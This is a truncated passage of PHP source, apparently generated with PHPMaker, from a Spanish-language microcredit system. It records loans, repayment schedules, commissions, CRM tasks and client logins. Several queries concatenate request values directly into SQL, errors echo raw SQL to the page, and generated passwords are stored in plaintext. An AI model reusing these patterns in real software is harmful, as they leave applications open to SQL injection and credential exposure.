10\r\n\t\tphpmkr_free_result($rowClientes);\r\n\t\t\r\n\t\t\r\n\t\t}// ! vacio grupo id\r\n\r\n\t\t\r\n} // else if tipo !2\r\n\r\n\r\n//RENOVACIONES\r\n\t$sSql = \"SELECT promotor_id, solicitud_id_ant FROM solicitud where solicitud_id = \".$GLOBALS[\"x_solicitud_id\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_promotor_id = $row[\"promotor_id\"];\r\n\t$x_solicitud_id_ant = $row[\"solicitud_id_ant\"];\t\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\r\n\r\n\tif($x_solicitud_id_ant > 0 ){\r\n\r\n\t\t$sSql = \"SELECT credito_id FROM credito where solicitud_id = $x_solicitud_id_ant\";\r\n\t\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t$row = phpmkr_fetch_array($rs);\r\n\t\t$x_credito_id_ant = $row[\"credito_id\"];\r\n\t\tphpmkr_free_result($rs);\t\t\r\n\t\r\n\t\t$sSql = \"update credito set credito_id_ant = $x_credito_id_ant where credito_id = $x_credito_id\";\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t\r\n\t\t$x_comision_importe = 50;\t\r\n\t}else{\r\n\t\t$x_comision_importe = 100;\r\n\t}\r\n\r\n\r\n//COMISIONES\r\n\r\n\r\n\r\n\t$fieldList = NULL;\r\n\t\r\n\t// Field promotor_id\r\n\t$fieldList[\"`promotor_id`\"] = $x_promotor_id;\r\n\r\n\t// Field solicitud_id\r\n\t$fieldList[\"`credito_id`\"] = $x_credito_id;\r\n\r\n\t// Field solicitud_id\r\n\t$fieldList[\"`vencimiento_id`\"] = 0;\r\n\r\n\t// Field fecha_registro\r\n\t$theValue = ($GLOBALS[\"x_fecha_otrogamiento\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_registro`\"] = $theValue;\r\n\r\n\t// Field comision\r\n\t$theValue = ($GLOBALS[\"x_comision\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_comision\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`comision`\"] = $theValue;\r\n\r\n\t// Field comision_importe\r\n\t$fieldList[\"`comision_importe`\"] = $x_comision_importe;\r\n\r\n\t// Field referencia\r\n\tif($GLOBALS[\"x_credito_num\"] != \"\"){\r\n\t\t$fieldList[\"`referencia`\"] = \"'\".$GLOBALS[\"x_credito_num\"].\"'\";\r\n\t}else{\r\n\t\t$fieldList[\"`referencia`\"] = \"NULL\";\r\n\t}\r\n\r\n\t// Field promotor_comision_status_id\r\n\t$fieldList[\"`promotor_comision_status_id`\"] = 1;\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `promotor_comision` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\tphpmkr_query($sSql, $conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\r\n\r\n\r\n\r\n\r\n\t$sSql = \"SELECT cliente_id FROM solicitud_cliente where solicitud_id = \".$GLOBALS[\"x_solicitud_id\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_cliente_id = $row[\"cliente_id\"];\r\n\tphpmkr_free_result($rs);\r\n\r\n//GENERA CASO CRM\r\n// debe ser dos dias despues de que se otorgo el credito, y se le deben dar dos dias de gracia.\r\n$currentdatecrm = getdate(time());\r\n$currtime = $currentdatecrm[\"hours\"].\":\".$currentdatecrm[\"minutes\"].\":\".$currentdatecrm[\"seconds\"];\t\r\n\r\n$cdate = getdate(time());\r\n$currdate2 = $cdate[\"mday\"].\"/\".$cdate[\"mon\"].\"/\".$cdate[\"year\"];\t\r\n$currdate2 = ConvertDateToMysqlFormat($currdate2);\r\n// fecha en que se otorgo el credito, no la fecha actual.\r\n$x_fecha_otorg = ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]);\r\n$currdate2 = $x_fecha_otorg;\r\n\r\n$temptime = strtotime($currdate2);\t\r\n$temptime = DateAdd('w',2,$temptime);\r\n$fecha_tarea = strftime('%Y-%m-%d',$temptime);\t\r\n\r\n/*$x_dia = strftime('%A',$temptime);\r\nif($x_dia == \"SUNDAY\"){\r\n\t$temptime = strtotime($fecha_venc);\r\n\t$temptime = DateAdd('w',1,$temptime);\r\n\t$fecha_tarea = strftime('%Y-%m-%d',$temptime);\r\n}\r\n$temptime = strtotime($fecha_tarea);*/\r\n\r\n\r\n\r\n\t$sSqlWrk = \"\r\n\tSELECT *\r\n\tFROM \r\n\t\tcrm_playlist\r\n\tWHERE \r\n\t\tcrm_playlist.crm_caso_tipo_id = 2\r\n\t\tAND crm_playlist.orden = 1\r\n\t\";\r\n\t// constancia de credito recibido\r\n\t$rswrk = phpmkr_query($sSqlWrk,$conn) or die(\"Failed to execute query\" . phpmkr_error() . ' SQL:' . $sSqlWrk);\r\n\t$datawrk = phpmkr_fetch_array($rswrk);\r\n\t$x_crm_playlist_id = $datawrk[\"crm_playlist_id\"];\r\n\t$x_prioridad_id = $datawrk[\"prioridad_id\"];\t\r\n\t$x_asunto = $datawrk[\"asunto\"];\t\r\n\t$x_descripcion = $datawrk[\"descripcion\"];\t\t\r\n\t$x_tarea_tipo_id = $datawrk[\"tarea_fuente\"];\t\t\r\n\t$x_orden = $datawrk[\"orden\"];\t\r\n\t$x_dias_espera = $datawrk[\"dias_espera\"];\r\n\t$x_dias_espera =$x_dias_espera +1;\r\n\t@phpmkr_free_result($rswrk);\r\n\r\n\r\n\t//Fecha Vencimiento\r\n\t$temptime = strtotime(ConvertDateToMysqlFormat($fecha_tarea));\t\r\n\t$temptime = DateAdd('w',$x_dias_espera,$temptime);\r\n\t$fecha_venc = strftime('%Y-%m-%d',$temptime);\t\r\n\techo \"fecha\".$fecha_venc.\"\";\r\n\t$x_dia = strftime('%A',$temptime);\r\n\tif($x_dia == \"SUNDAY\"){\r\n\t\t$temptime = strtotime($fecha_venc);\r\n\t\t$temptime = DateAdd('w',1,$temptime);\r\n\t\t$fecha_venc = strftime('%Y-%m-%d',$temptime);\r\n\t}\r\n\t$temptime = strtotime($fecha_venc);\r\n\r\n\r\n\t// SE CAMBIO LA FECHA, ANTES TENIA FECHA DE OTORGAMIENTO.\r\n\t$x_origen = 1;\r\n\t$x_bitacora = \"Seguimiento de Credito - (\".FormatDateTime($fecha_tarea,7).\" - $currtime)\";\r\n\r\n\t$x_bitacora .= \"\\n\";\r\n\t$x_bitacora .= \"$x_asunto - $x_descripcion \";\t\r\n\t\r\n\r\n\t$sSqlWrk = \"\r\n\tSELECT usuario_id\r\n\tFROM \r\n\t\tusuario\r\n\tWHERE \r\n\t\tusuario.usuario_rol_id = 2\r\n\tLIMIT 1\r\n\t\";\r\n\t\r\n\t$rswrk = phpmkr_query($sSqlWrk,$conn) or die(\"Failed to execute query\" . phpmkr_error() . ' SQL:' . $sSqlWrk);\r\n\t$datawrk = phpmkr_fetch_array($rswrk);\r\n\t$x_usuario_id = $datawrk[\"usuario_id\"];\r\n\t@phpmkr_free_result($rswrk);\r\n\t\r\n// SE CAMBIO LA FECHA ANTES TENIA FECHA DE OTORGAMIENTO\r\n\t$sSql = \"INSERT INTO crm_caso values (0,2,1,1,$x_cliente_id,'\".ConvertDateToMysqlFormat($fecha_tarea).\"',$x_origen,$x_usuario_id,'$x_bitacora','\".ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]).\"',NULL,$x_credito_id)\";\r\n\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\t$x_crm_caso_id = mysql_insert_id();\t\r\n\t\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\r\n// SE CAMBIO LA FECHA ANTES TENIA FECHA DE OTORGAMIENTO\r\n\t$sSql = \"INSERT INTO crm_tarea values (0,$x_crm_caso_id, $x_orden, $x_tarea_tipo_id, $x_prioridad_id,'\".ConvertDateToMysqlFormat($fecha_tarea).\"','$currtime','$fecha_venc',NULL,NULL,NULL, 1, 1, 2, $x_usuario_id, NULL,NULL, '$x_asunto','$x_descripcion',1)\";\r\n\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\t\r\n\r\n\r\n\r\n//FONDEO\r\n\t\r\n\tif(!empty($GLOBALS[\"x_fondeo_credito_id\"]) && $GLOBALS[\"x_fondeo_credito_id\"] > 0){\r\n\t\t$sSql = \"INSERT INTO fondeo_colocacion values (0,\".$GLOBALS[\"x_fondeo_credito_id\"].\",$x_credito_id)\";\r\n\t\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\t\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t}\r\n\r\n\t$dateC = date(\"Y_m_d\");\r\n\t$sqlCondi = \"INSERT INTO `credito_condiciones` (`credito_condiciones_id` ,`credito_id` ,`fecha` ,`status`) \";\r\n\t$sqlCondi .= \" VALUES ( NULL , $x_credito_id, \\\"$dateC\\\", '0')\";\r\n\t$rsCondi = phpmkr_query ($sqlCondi, $conn) or die (\"error al isertar en condiciones de credito\". phpmkr_error().\"sql :\". $sqlCondi);\r\n\t\r\n\t$sqlCondi = \"INSERT INTO `cheque_conciliado` (`cheque_conciliado_id` ,`credito_id` ,`fecha` ,`status`) \";\r\n\t$sqlCondi .= \" VALUES ( NULL , $x_credito_id, \\\"$dateC\\\", '0')\";\r\n\t$rsCondi = phpmkr_query ($sqlCondi, $conn) or die (\"error al isertar en condiciones de credito\". phpmkr_error().\"sql :\". $sqlCondi);\r\n\r\n\r\n\tphpmkr_query('commit;', $conn);\t \r\n\treturn true;\r\n}", "function AddData($conn)\r\n{\r\n\tglobal $x_credito_id;\r\n\t$sSql = \"SELECT * FROM `credito`\";\r\n\t$sWhere = \"\";\r\n\t$sGroupBy = \"\";\r\n\t$sHaving = \"\";\r\n\t$sOrderBy = \"\";\r\n\r\n\t// Check for duplicate key\r\n\t$bCheckKey = true;\r\n\t$sWhereChk = $sWhere;\r\n\tif ((@$x_credito_id == \"\") || (is_null($x_credito_id))) {\r\n\t\t$bCheckKey = false;\r\n\t} else {\r\n\t\tif ($sWhereChk <> \"\") { $sWhereChk .= \" AND \"; }\r\n\t\t$sTmp = (get_magic_quotes_gpc()) ? stripslashes($x_credito_id) : $x_credito_id;\t\t\t\r\n\t\t$sWhereChk .= \"(`credito_id` = \" . addslashes($sTmp) . \")\";\r\n\t}\r\n\tif ($bCheckKey) {\r\n\t\t$sSqlChk = $sSql . \" WHERE \" . $sWhereChk;\r\n\t\t$rsChk = phpmkr_query($sSqlChk, $conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSqlChk);\r\n\t\tif (phpmkr_num_rows($rsChk) > 0) {\r\n\t\t\t$_SESSION[\"ewmsg\"] = \"Duplicate value for primary key\";\r\n\t\t\tphpmkr_free_result($rsChk);\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tphpmkr_free_result($rsChk);\r\n\t}\r\n\r\n\tphpmkr_query('START TRANSACTION;', $conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: BEGIN TRAN');\r\n\r\n\r\n\t$theValue = ($GLOBALS[\"x_credito_num\"] != \"\") ? \" '\" . $GLOBALS[\"x_credito_num\"] . \"'\" : \"0\";\r\n\t$fieldList[\"`credito_num`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_cliente_num\"] != \"\") ? \" '\" . $GLOBALS[\"x_cliente_num\"] . \"'\" : \"0\";\r\n\t$fieldList[\"`cliente_num`\"] = $theValue;\r\n\r\n\t// Field credito_tipo_id\r\n\t$theValue = ($GLOBALS[\"x_credito_tipo_id\"] != \"\") ? intval($GLOBALS[\"x_credito_tipo_id\"]) : \"NULL\";\r\n\t$fieldList[\"`credito_tipo_id`\"] = $theValue;\r\n\r\n\t// Field solicitud_id\r\n\t$theValue = ($GLOBALS[\"x_solicitud_id\"] != \"\") ? intval($GLOBALS[\"x_solicitud_id\"]) : \"NULL\";\r\n\t$fieldList[\"`solicitud_id`\"] = $theValue;\r\n\r\n\t// Field credito_status_id\r\n\t$theValue = ($GLOBALS[\"x_credito_status_id\"] != \"\") ? intval($GLOBALS[\"x_credito_status_id\"]) : \"NULL\";\r\n\t$fieldList[\"`credito_status_id`\"] = $theValue;\r\n\r\n\t// Field fecha_otrogamiento\r\n\t$theValue = ($GLOBALS[\"x_fecha_otrogamiento\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_otrogamiento`\"] = $theValue;\r\n\r\n\t// Field importe\r\n\t$theValue = ($GLOBALS[\"x_importe\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_importe\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`importe`\"] = $theValue;\r\n\r\n\t// Field plazo\r\n\t$theValue = ($GLOBALS[\"x_forma_pago_id\"] != \"\") ? intval($GLOBALS[\"x_forma_pago_id\"]) : \"NULL\";\r\n\t$fieldList[\"`forma_pago_id`\"] = $theValue;\r\n\r\n\r\n\t// Field tasa\r\n\t$theValue = ($GLOBALS[\"x_tasa\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_tasa\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`tasa`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_iva\"] != \"\") ? \" '\" . intval($GLOBALS[\"x_iva\"]) . \"'\" : \"2\";\r\n\t$fieldList[\"`iva`\"] = $theValue;\r\n\r\n\t// Field plazo\r\n\t$theValue = ($GLOBALS[\"x_plazo\"] != \"\") ? intval($GLOBALS[\"x_plazo\"]) : \"NULL\";\r\n\t$fieldList[\"`plazo_id`\"] = $theValue;\r\n\r\n\t// Field fecha_vencimiento\r\n\t$theValue = ($GLOBALS[\"x_fecha_vencimiento\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_vencimiento\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_vencimiento`\"] = $theValue;\r\n\r\n\t// Field tasa_moratoria\r\n\t$theValue = ($GLOBALS[\"x_tasa_moratoria\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_tasa_moratoria\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`tasa_moratoria`\"] = $theValue;\r\n\r\n\t// Field medio_pago_id\r\n\t$theValue = ($GLOBALS[\"x_medio_pago_id\"] != \"\") ? intval($GLOBALS[\"x_medio_pago_id\"]) : \"NULL\";\r\n\t$fieldList[\"`medio_pago_id`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_banco_id\"] != \"\") ? intval($GLOBALS[\"x_banco_id\"]) : \"0\";\r\n\t$fieldList[\"`banco_id`\"] = $theValue;\r\n\r\n\t// Field referencia_pago\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_referencia_pago\"]) : $GLOBALS[\"x_referencia_pago\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`referencia_pago`\"] = $theValue;\r\n\r\n\r\n\t// \r\n\t$theValue = ($GLOBALS[\"x_num_pagos\"] != \"\") ? intval($GLOBALS[\"x_num_pagos\"]) : \"0\";\r\n\t$fieldList[\"`num_pagos`\"] = $theValue;\r\n\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_tdp\"]) : $GLOBALS[\"x_tdp\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`tarjeta_num`\"] = $theValue;\r\n\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `credito` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\t$x_credito_id = mysql_insert_id();\r\n\t\r\n\t\r\n//GENERA VENCIMIENTOS\r\n\r\n\tinclude(\"utilerias/datefunc.php\");\r\n\r\n\t$sSql = \"SELECT valor FROM plazo where plazo_id = \".$GLOBALS[\"x_plazo\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_plazo = $row[\"valor\"];\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\t$sSql = \"SELECT valor FROM forma_pago where forma_pago_id = \".$GLOBALS[\"x_forma_pago_id\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_forma_pago = $row[\"valor\"];\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\r\n//\t$x_num_pagos = $x_plazo * $x_forma_pago;\r\n\t$x_num_pagos = $GLOBALS[\"x_num_pagos\"];\t\r\n\r\n\t$GLOBALS[\"x_importe\"] = str_replace(\",\",\"\",$GLOBALS[\"x_importe\"]);\r\n\t$temptime = strtotime(ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]));\t\r\n\t$x_interes = 0;\r\n\t$x_pago_act = 1;\r\n\twhile($x_pago_act < $x_num_pagos + 1){\r\n/*\t\r\n\t\tswitch ($GLOBALS[\"x_forma_pago_id\"])\r\n\t\t{\r\n\t\t\tcase \"1\": // semanal\r\n\t\t\t\t$temptime = DateAdd('w',7,$temptime);\t\t\t\t\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"2\": // quincenal\r\n\t\t\t\t$temptime = DateAdd('w',14,$temptime);\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"3\": // mensual\r\n\t\t\t\t$temptime = DateAdd('w',28,$temptime);\t\t\t\t\r\n\t\t\t\tbreak;\t\t\t\t\r\n\t\t}\r\n\r\n\r\n\r\nstrftime Formatos primer parametro\r\n\r\n%a - abbreviated weekday name \r\n%A - full weekday name \r\n%b - abbreviated month name \r\n%B - full month name \r\n%c - preferred date and time representation \r\n%C - century number (the year divided by 100, range 00 to 99) \r\n%d - day of the month (01 to 31) \r\n%D - same as %m/%d/%y \r\n%e - day of the month (1 to 31) \r\n%g - like %G, but without the century \r\n%G - 4-digit year corresponding to the ISO week number (see %V). \r\n%h - same as %b \r\n%H - hour, using a 24-hour clock (00 to 23) \r\n%I - hour, using a 12-hour clock (01 to 12) \r\n%j - day of the year (001 to 366) \r\n%m - month (01 to 12) \r\n%M - minute \r\n%n - newline character \r\n%p - either am or pm according to the given time value \r\n%r - time in a.m. and p.m. notation \r\n%R - time in 24 hour notation \r\n%S - second \r\n%t - tab character \r\n%T - current time, equal to %H:%M:%S \r\n%u - weekday as a number (1 to 7), Monday=1. Warning: In Sun Solaris Sunday=1 \r\n%U - week number of the current year, starting with the first Sunday as the first day of the first week \r\n%V - The ISO 8601 week number of the current year (01 to 53), where week 1 is the first week that has at least 4 days in the current year, and with Monday as the first day of the week \r\n%W - week number of the current year, starting with the first Monday as the first day of the first week \r\n%w - day of the week as a decimal, Sunday=0 \r\n%x - preferred date representation without the time \r\n%X - preferred time representation without the date \r\n%y - year without a century (range 00 to 99) \r\n%Y - year including the century \r\n%Z or %z - time zone or name or abbreviation \r\n%% - a literal % character \r\n\t\t\r\n*/\r\n\t\t$temptime = DateAdd('w',$x_forma_pago,$temptime);\r\n\r\n\r\n\t\t$fecha_act = strftime('%Y-%m-%d',$temptime);\t\t\t\r\n\t\t$x_dia = strftime('%A',$temptime);\r\n\r\n//Validar domingos\r\n\t\tif($x_dia == \"SUNDAY\"){\r\n\t\t\t$temptime = strtotime($fecha_act);\r\n\t\t\t$temptime = DateAdd('w',1,$temptime);\r\n\t\t\t$fecha_act = strftime('%Y-%m-%d',$temptime);\r\n\t\t}\r\n\r\n\t\t$x_interes_act = (1/pow((1+doubleval($GLOBALS[\"x_tasa\"] / 100 )),$x_pago_act));\r\n\r\n\t\t$x_interes = $x_interes + $x_interes_act;\r\n\t\r\n\t\t$sSql = \"insert into vencimiento values(0,$x_credito_id, $x_pago_act,1, '$fecha_act', 0, 0, 0, 0, 0, 0)\";\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t\t\r\n\t\t$temptime = strtotime($fecha_act);\r\n\t\t$x_pago_act++;\t\r\n\t}\t\t\r\n\r\n\t$x_total_venc = round($GLOBALS[\"x_importe\"] / $x_interes);\r\n\t$x_capital_venc = ($GLOBALS[\"x_importe\"] / $x_num_pagos);\r\n\t$x_interes_venc = round($x_total_venc - $x_capital_venc);\r\n\tif($GLOBALS[\"x_iva\"] == 1){\r\n\t\t$x_iva_venc = round($x_interes_venc * .16);\t\r\n\t\t$x_total_venc = $x_total_venc + $x_iva_venc;\r\n\t}else{\r\n\t\t$x_iva_venc = 0;\r\n\t}\r\n\r\n\t$sSql = \"update vencimiento set importe = $x_capital_venc, interes = $x_interes_venc, total_venc = $x_total_venc, iva = $x_iva_venc where credito_id = $x_credito_id\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\r\n\t$sSql = \"update credito set fecha_vencimiento = '$fecha_act' where credito_id = $x_credito_id\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\t\r\n// fecha actual, quedara registrada como dia en que se dio de alta el credito, la otra fecha es la fecha de otorgamiento de credito:::: no son la misma fecha. \t\r\n$currentdate = getdate(time());\r\n$currdate = $currentdate[\"year\"].\"-\".$currentdate[\"mon\"].\"-\".$currentdate[\"mday\"];\r\n$x_fecha_alta = $currdate;\r\n\r\n//die();\r\n\t$sSql = \"update solicitud set solicitud_status_id = 6, fecha_otorga_credito = \\\"\".$x_fecha_alta.\"\\\" where solicitud_id = \".$GLOBALS[\"x_solicitud_id\"];\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\r\n\r\n\r\n\r\n//credito_tipo_id\r\n\r\n\r\n\t$sSql = \"SELECT credito_tipo_id FROM solicitud where solicitud_id = \".$GLOBALS[\"x_solicitud_id\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_credito_tipo_id = $row[\"credito_tipo_id\"];\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\r\n//if($x_credito_tipo_id == 1){\r\nif($x_credito_tipo_id > 0){\t\r\n\r\n\t$sSql = \"SELECT cliente_id FROM solicitud_cliente where solicitud_id = \".$GLOBALS[\"x_solicitud_id\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_cliente_id = $row[\"cliente_id\"];\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\r\n\t$sSql = \"update cliente set cliente_num = '\".$GLOBALS[\"x_cliente_num\"].\"' where cliente_id = $x_cliente_id \";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\r\n\r\n\r\n//USUARIO Y PASSWORD\r\n\tinclude(\"utilerias/gen_pass_ec.php\");\r\n\r\n\t$x_asignada = 0;\r\n\twhile($x_asignada == 0){\r\n\t\t$clave = generate(8, \"No\", \"Yes\", \"Yes\");\r\n\t\t$sSql = \"Select * from usuario where usuario = '$clave'\";\r\n\t\t$rs2 = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\tif (phpmkr_num_rows($rs2) == 0) {\t\r\n\t\t\t$x_usuario = $clave;\r\n\t\t\t$x_asignada = 10;\r\n\t\t}\r\n\t\tphpmkr_free_result($rs2);\r\n\t}\r\n\r\n\t$x_asignada = 0;\r\n\twhile($x_asignada == 0){\r\n\t\t$clave = generate(8, \"No\", \"Yes\", \"Yes\");\r\n\t\t$sSql = \"Select * from usuario where clave = '$clave'\";\r\n\t\t$rs2 = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\tif (phpmkr_num_rows($rs2) == 0) {\t\r\n\t\t\t/*\t\t\r\n\t\t\t$sSql = \"update socios set clave = '$clave' where socio_id = $x_socio_id\";\r\n\t\t\tphpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t\t*/\r\n\t\t\t$x_clave = $clave;\r\n\t\t\t$x_asignada = 10;\r\n\t\t}\r\n\t\tphpmkr_free_result($rs2);\r\n\t}\r\n\r\n\t$sSql = \"SELECT * FROM cliente where cliente_id = $x_cliente_id\";\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_nombre = $row[\"nombre_completo\"].\" \". $row[\"apellido_paterno\"].\" \".$row[\"apellido_materno\"];\r\n\t$x_email = $row[\"email\"];\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\r\n\t$fieldList = NULL;\r\n\t// Field usuario_rol_id\r\n\t$fieldList[\"`usuario_rol_id`\"] = 8;\r\n\r\n\t// Field usuario_status_id\r\n\t$fieldList[\"`usuario_status_id`\"] = 1;\r\n\r\n\t// Field usuario\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_usuario) : $x_usuario; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`usuario`\"] = $theValue;\r\n\r\n\t// Field clave\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_clave) : $x_clave; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`clave`\"] = $theValue;\r\n\r\n\t// Field nombre\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_nombre) : $x_nombre; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`nombre`\"] = $theValue;\r\n\r\n\t// Field fecha_registro\r\n\t$theValue = ($GLOBALS[\"x_fecha_otrogamiento\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_registro`\"] = $theValue;\r\n\r\n\t// Field fecha_caduca\r\n\t$theValue = ($GLOBALS[\"x_fecha_caduca\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_caduca\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_caduca`\"] = $theValue;\r\n\r\n\t// Field fecha_visita\r\n\t$theValue = ($GLOBALS[\"x_fecha_visita\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_visita\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_visita`\"] = $theValue;\r\n\r\n\t// Field visitas\r\n\t$theValue = ($GLOBALS[\"x_visitas\"] != \"\") ? intval($GLOBALS[\"x_visitas\"]) : \"0\";\r\n\t$fieldList[\"`visitas`\"] = $theValue;\r\n\r\n\t// Field 